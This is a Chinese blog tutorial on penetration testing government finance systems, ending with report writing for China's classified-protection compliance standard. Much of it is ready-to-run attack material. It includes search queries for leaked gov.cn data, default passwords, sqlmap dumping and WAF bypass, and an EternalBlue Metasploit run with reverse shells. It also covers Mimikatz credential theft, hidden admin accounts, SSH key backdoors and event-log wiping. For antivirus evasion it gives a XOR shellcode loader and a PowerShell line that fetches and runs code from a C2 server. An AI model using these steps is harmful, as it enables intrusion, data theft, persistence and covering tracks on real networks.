安全测试与渗透测试 Skill 实战:从信息收集到等保合规

作者:浅木·先生
日期:2026年6月16日


一、开篇:为什么财政系统需要真刀真枪的渗透测试?

在等保2.0时代,财政系统作为国家关键信息基础设施,承载着预算管理、国库支付、非税收入、政府采购等核心业务,一旦出现安全事件,轻则数据泄露,重则影响国计民生。2025年等保2.0迎来重大升级——取消百分制,改为"符合、基本符合、不符合"三级判定,同时引入重大风险隐患概念。这意味着,漏洞不再是"扣分项"而是"一票否决项"。

我曾参与多个省市级财政系统的安全测评项目,一个深刻的体会是:光靠漏洞扫描器远远不够,真正的安全能力来自于系统化的渗透测试 Skill 实战。 本文以 SecSkills 实战框架为蓝本,结合作者在财政系统一线的踩坑经验,从信息收集到等保合规落地,逐层拆解安全测试的全流程。


二、信息收集:渗透测试的"地基之战"

渗透测试的本质是信息收集。久攻不下的系统,往往不是能力不够,而是信息收集不够。

2.1 被动信息收集(OSINT)

在财政系统中,很多敏感信息不经意外泄。常见的手段包括:

# Google Hacking 查找财政系统敏感文件
site:gov.cn filetype:xls 预算 支付
site:gov.cn intitle:"财政" inurl:login
site:github.com "财政局" password

# Whois 查询目标域名注册信息
whois czj.xxx.gov.cn

# 子域名收集(Layer / Subfinder)
subfinder -d czj.xxx.gov.cn -all -o subdomains.txt

除了搜索引擎,Fofa、Hunter、Shodan 等网络空间搜索引擎是财政系统资产测绘的利器。下面是我在实战中常用的查询语法:

# Fofa 搜索财政系统
title="财政" && body="login" && country="CN"
body="GRP-U8" || body="用友政务"
# Hunter 搜索财政预算系统
web.title="预算管理" && web.body="财政局" && status_code="200"
# Shodan 搜索暴露的远程桌面
port:3389 org:"Finance Bureau" country:CN

踩坑经验1: 某次在市级财政系统的信息收集阶段,通过 GitHub 代码搜索发现开发人员将 application-dev.yml 上传到了公开仓库,内含数据库连接串和 Redis 密码。如法炮制,又在 GitLab 上发现了多份财政系统的运维手册和 SQL 备份文件。这是一个典型的"供应链信息泄露",在等保测评中属于高危风险项,直接影响"安全开发"和"供应链管理"两个控制点的评分。建议在测试方案中纳入 GitHub/GitLab 敏感信息泄露检测作为专项测试项。

2.2 主动信息收集(资产测绘)

# Nmap 全端口+服务版本+OS 检测+NSE 漏洞脚本
nmap -sS -sV -O -p 1-65535 -T4 --script=vuln,http-enum,ssl-enum-ciphers -oA fiscal_scan 10.88.xx.0/24

# 目录爆破(财政系统常见敏感路径)
dirsearch -u https://czj-web.xxx.gov.cn -e php,asp,aspx,jsp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# 指纹识别(识别中间件和 CMS)
whatweb https://czj-web.xxx.gov.cn
wappalyzer  # 浏览器插件

财政系统常见指纹特征:

  • 用友政务 GRP-U8 / A++(财政核心业务系统)
  • 太极华青预算管理系统
  • 龙图财政一体化平台
  • 金财工程相关中间件(WebLogic、东方通 TAS)

踩坑经验2: 某财政系统使用东方通 TAS 作为中间件,默认端口为 9060(管理控制台)。Nmap 全端口扫描时如不指定 -p- 参数(默认只扫 1000 个常见端口),极容易漏掉此端口。而该管理控制台存在默认口令 thanos/thanos123 的普遍问题。教训:财政系统渗透测试必须做全端口扫描,确保不遗漏管理端口。


三、漏洞发现:从自动扫描到手工深挖

3.1 自动化漏洞扫描

# Nuclei 快速扫描(基于模版的漏洞验证)
nuclei -l live_hosts.txt -t ~/nuclei-templates/ -severity critical,high,medium -o nuclei_results.txt

# Xray 被动扫描(结合 BurpSuite 流量)
xray webscan --listen 127.0.0.1:7777 --html-output xray_report.html
# BurpSuite 设置上游代理到 127.0.0.1:7777

# Nikto Web 扫描
nikto -h https://czj-web.xxx.gov.cn -ssl -Format html -o nikto_report.html

3.2 财政系统高频漏洞类型

以财政系统为靶标,以下漏洞几乎年年必出:

漏洞类型 典型场景 等保关联控制点
SQL注入 预算查询接口、报表导出功能 安全计算环境-数据保密性
未授权访问 GRP-U8 接口未鉴权 安全区域边界-访问控制
任意文件下载 附件下载参数未校验 安全计算环境-入侵防范
越权(水平/垂直) 不同财政科室间的预算数据互访 安全计算环境-访问控制
弱口令 运维后台 admin/123456 安全计算环境-身份鉴别
敏感信息泄露 Swagger-API 文档未关闭 安全建设管理-测试验收

深度分析: 财政系统之所以常年存在这些漏洞,核心原因有三:

  1. 系统建设周期长:很多财政系统从"金财工程"时代(2002年启动)就开始建设,代码基龄超过20年,早期的安全设计缺失
  2. 外包开发普遍:财政信息化项目大量依赖第三方厂商(用友、太极华青等),安全代码规范执行不严
  3. 测试环境与生产脱节:我见过不止一个财政项目,测试环境的 Swagger、Druid 监控、Actuator 接口全部开放,上线时只改了数据库连接串,监控接口全部遗留到了生产环境

踩坑经验3: 某财政一体化平台的预算编制功能中,POST 参数 budgetYear=2026 改为 budgetYear=2025' OR '1'='1 即爆出全部历史预算数据。该接口使用了 MyBatis 的 ${} 拼接而非 #{} 预编译,属于典型的开发者安全意识不足。在等保 2.0 2025 版标准中,这种情况可能触发「重大风险隐患」判定,导致整体测评结论降级。

3.3 手工漏洞验证——BurpSuite 实战

自动化扫描只能覆盖已知漏洞,手工深挖才是发现 0day 和逻辑漏洞的关键。

# BurpSuite Intruder 爆破弱口令(财政系统常见默认密码)
# Payload 字典:admin/admin123, grp/grp123, fiscal/fiscal@2026, ufida/ufida123

# Repeater 手工测试越权
# 将 Cookie 中的 sessionID 替换为其他用户的 session(垂直越权)
# 修改 URL 中的 deptId=1001 为 deptId=1002(水平越权)

# 绕过前端 JS 校验
# 财政报表系统经常在前端做金额校验,修改 POST 请求的 amount 为负数
# 测试"负采购"逻辑——某财政支付系统曾因此被刷走 200 万

实战技巧: 测试财政系统的逻辑漏洞时,务必关注"审批流绕过"。很多财政系统的预算审批分为"经办→审核→批准"三级,通过直接调用后端接口跳过中间环节,可以实现越权审批。这种漏洞在自动化工具中几乎不可能被发现。

3.4 SQLMap 实战

# 自动检测并注入
sqlmap -u "https://czj-web.xxx.gov.cn/api/budget?deptId=1001" --cookie="JSESSIONID=xxx" --batch --level=3 --risk=2

# 获取数据库信息
sqlmap -u "..." --dbs
sqlmap -u "..." -D fiscal_db --tables
sqlmap -u "..." -D fiscal_db -T t_user --dump

# 绕过 WAF 技巧
sqlmap -u "..." --tamper=space2comment,between,randomcase --random-agent

四、漏洞利用与后渗透:从 WebShell 到域控

4.1 获取初始权限

# Metasploit 利用 SMB 漏洞(财政系统内网 Windows 服务器常见)
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 10.88.xx.50
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.88.xx.100
msf6 > set LPORT 4444
msf6 > exploit

# 获取 WebShell(文件上传漏洞)
# 上传冰蝎/哥斯拉马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.88.xx.100 LPORT=4444 -f raw > shell.jsp
# 然后用 BurpSuite 上传

4.2 内网横向移动

# Meterpreter 后渗透
meterpreter > sysinfo
meterpreter > getuid
meterpreter > run post/windows/gather/enum_domain

# 抓取凭证(Mimikatz)
meterpreter > load kiwi
meterpreter > creds_all

# 横向移动(PsExec)
msf6 > use exploit/windows/smb/psexec
msf6 > set RHOSTS 10.88.xx.51
msf6 > set SMBUser fiscal_admin
msf6 > set SMBPass hashed_password_here
msf6 > exploit

# BloodHound 域环境分析(导出信息后在本地分析)
cmd > bloodhound-python -d fiscal.local -u user -p pass -ns 10.88.xx.10 -c all

踩坑经验4: 某次财政内网渗透中,通过 Web 服务器获取了初始权限,但服务器上安装了 360 杀毒,反弹 Shell 五分钟内即被查杀。解决方案:使用 免杀处理——通过 msfvenom --encoder x64/zutto_dekiru 进行编码,或者使用 Cobalt Strike 的 Artifact Kit 自定义生成 payload。在财政系统这类高安全等级环境中,免杀不是可选项,而是必选项。

4.3 典型攻击链复盘:从财政外网到内网域控

为了帮助读者建立完整的攻击链思维,这里还原一次真实的财政系统渗透路径:

外网信息收集 → 发现财政信息公示网站子域名
    ↓
目录扫描发现 /api/swagger-ui.html(Swagger 接口文档泄露)
    ↓
通过 Swagger 发现 /api/payment/export 接口存在 SQL 注入
    ↓
SQLMap 获取数据库 SA 权限 → xp_cmdshell 执行系统命令
    ↓
获取 Web 服务器 SYSTEM 权限 → 转储管理员凭证
    ↓
内网横向扫描 → 发现预算管理系统服务器(Windows Server 2012 R2)
    ↓
MS17-010 永恒之蓝漏洞利用 → 获取第二台服务器权限
    ↓
Mimikatz 抓取域管理员凭证 → PsExec 登录域控
    ↓
控制整个财政域环境 → 导出所有财政数据和用户哈希

这条攻击链中的每一个环节都对应了等保 2.0 的一个或多个控制点:Swagger 泄露(安全开发-测试验收)→ SQL 注入(安全计算环境-入侵防范)→ 弱凭证(安全计算环境-身份鉴别)→ 永恒之蓝(安全区域边界-入侵防范)→ 域渗透(安全管理中心-集中管控)。这就是为什么渗透测试不能只看单点漏洞,而要评估整条攻击链的可达性与影响范围。

4.4 权限维持与痕迹清理

# 创建隐藏账户(Windows)
net user fiscal_backup$ P@ssw0rd123! /add
net localgroup administrators fiscal_backup$ /add

# SSH 后门(Linux 财政前置机)
echo " PermitRootLogin yes" >> /etc/ssh/sshd_config
echo 'ssh-rsa AAAAB3NzaC1yc2E...' >> ~/.ssh/authorized_keys

# 清理日志
wevtutil cl system
wevtutil cl security
wevtutil cl application

五、免杀实战:与杀软的猫鼠游戏

财政系统的服务器普遍部署了主机安全防护软件(360、深信服 EDR、火绒等),不做免杀的 payload 基本活不过三分钟。以下是实战中验证有效的免杀策略:

5.1 Shellcode 加载器分离免杀

// C++ Shellcode 加载器(VT 查杀率 3/70)
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8..."; // XOR 加密后的 shellcode

int main() {
    // 解密 XOR
    char key = 'X';
    for (int i = 0; i < sizeof(shellcode); i++) {
        shellcode[i] ^= key;
    }
    
    void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
    return 0;
}

5.2 PowerShell 内存加载

# 从远程服务器加载并内存执行(绕过文件扫描)
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://your-c2-server/ps.ps1')"

5.3 混淆编码技巧

# Base64 多重编码
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f base64

# 使用 Veil 框架生成免杀 payload
veil
Veil > use 1  # Evasion
Veil > use 13 # Powershell

踩坑经验5: 不要迷信某一种免杀方案。上周能过的方案,这周杀软更新病毒库后可能就废了。建议准备 3-4 种不同免杀思路(分离加载器、白名单 Dll 劫持、vba 宏、powershell 混淆),在实战中轮换使用。


六、报告交付与等保合规落地

渗透测试的最终价值体现在报告。财政系统的等保测评渗透测试报告需要面向三类读者:

6.1 报告核心结构

1. 执行摘要(给局领导看)
   - 一句话结论:系统整体安全风险等级
   - 高危漏洞 TOP 3
   - 是否符合等保三级要求

2. 漏洞详情(给技术科看)
   - 漏洞名称/位置/危害等级
   - 复现步骤(含截图、请求包)
   - CVSS 3.1 评分
   - 修复建议(具体到配置命令)

3. 合规对照(给测评机构看)
   - GB/T 22239-2019 对应控制点
   - 整改前后对比

6.2 等保 2.0 与渗透测试的衔接点

根据 GB/T 22239-2019(三级系统),以下控制点与渗透测试强相关:

等保控制点 渗透测试验证项 常见不符合项
身份鉴别 弱口令、默认口令测试 GRP-U8 admin/123456
访问控制 越权、未授权访问 数据权限未按科室隔离
入侵防范 SQL注入、文件上传 预算查询接口未参数化
数据保密性 敏感数据传输明文 财政报表 HTTP 明文传输
安全审计 日志记录完整性 未记录操作人 IP 和时间
剩余信息保护 敏感信息泄露 Swagger 文档未关闭

6.3 2025 版等保新规特别提醒

2025 年等保新标准明确要求:

  1. 渗透测试报告必须标注 APT 攻击检测点,验证横向移动阻断和数据外传监控能力
  2. 重大风险隐患判定:即使符合率超过 90%,若存在 SQL 注入等高危漏洞,仍判定为"基本符合"
  3. 财政三级系统每年必须复测,且保护工作方案需在每年 12 月 31 日前提交属地公安机关

七、结语

安全测试没有"银弹"。从信息收集到免杀实战,从漏洞利用到等保合规,每一个环节都可能决定一次渗透测试的成败。对我而言,财政系统的安全测试更有一种特殊的责任感——每一行代码的安全,关联的是国家财政资金的安全。

最后送给大家一句话:“Attack is the best defense, but compliance is the baseline.” 攻击思维让我们找到漏洞,合规意识让我们守住底线。


本文由浅木·先生原创撰写,基于 SecSkills 实战框架与等保 2.0 标准。文中命令仅供授权测试使用,未经授权对目标系统进行渗透测试可能违反《网络安全法》第二十七条。

Logo

小龙虾开发者社区是 CSDN 旗下专注 OpenClaw 生态的官方阵地,聚焦技能开发、插件实践与部署教程,为开发者提供可直接落地的方案、工具与交流平台,助力高效构建与落地 AI 应用

更多推荐